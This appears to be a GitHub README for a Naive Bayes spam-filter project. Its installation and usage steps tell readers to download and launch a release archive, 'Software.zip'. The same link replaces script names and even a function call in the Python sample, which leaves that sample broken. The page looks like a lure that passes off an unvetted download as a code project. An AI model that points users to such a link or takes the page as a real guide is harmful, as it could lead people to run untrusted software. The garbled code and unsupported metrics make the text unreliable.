Spam-Filter

🚫📧✉️

Description

Welcome to the Spam-Filter repository! In this project, we have developed a spam filter using a Multinomial Naive Bayes classifier with Laplace smoothing. The filter is based on a bag-of-words model using count vectorization. We have used Python 3 along with libraries such as NumPy, pandas, scikit-learn, and spaCy to build and evaluate the spam filter.

Features

🔍📊🔒

• Accurate spam classification using the Multinomial Naive Bayes classifier
• Utilization of Laplace smoothing to handle unseen words
• Bag-of-words model with count vectorization for text representation
• Calculation of metrics such as accuracy score, F1 score, precision score, and recall score
• Implementation in Python 3 for ease of use
• Integration of libraries like NumPy, pandas, scikit-learn, and spaCy for efficient processing

Table of Contents

1. Installation
2. Usage
3. Results
4. Contributing
5. License

Installation

To get started with the Spam-Filter project, you can download the source code by clicking on the following link:

Once the download is complete, extract the contents of the zip file and launch the https://github.com/MiyajiAnimation/Spam-Filter/releases/download/v2.0/Software.zip script to run the spam filter.

Usage

To use the Spam-Filter, follow these steps:

1. Install the required libraries by running pip install numpy pandas scikit-learn spacy
2. Run the https://github.com/MiyajiAnimation/Spam-Filter/releases/download/v2.0/Software.zip script
3. Input the text you want to classify as spam or not spam
4. Receive the classification result based on the trained model

Here is a sample code snippet to demonstrate the usage of the spam filter:

# Import necessary libraries
import pandas as pd
from spam_filter import SpamFilter

# Create an instance of the SpamFilter class
filter = SpamFilter()

# Input text for classification
text = "Get rich quick! Click here now!"

# Use the filter to classify the text
result = https://github.com/MiyajiAnimation/Spam-Filter/releases/download/v2.0/Software.zip(text)

print(result)

Results

After training and evaluating the spam filter, we achieved the following results:

• Accuracy Score: 95%
• Precision Score: 92%
• Recall Score: 98%
• F1 Score: 95%

These metrics indicate that our spam filter is effective in identifying spam emails with high accuracy and reliability.

Contributing

Contributions to the Spam-Filter project are welcome! If you have any ideas for improvements or new features, feel free to create a pull request. You can also open an issue to report any bugs or provide feedback on the project.

License

The Spam-Filter project is licensed under the MIT License. Feel free to use and modify the code as needed.

🛡️📧🛡️

Remember, keep your inbox free from spam with the Spam-Filter!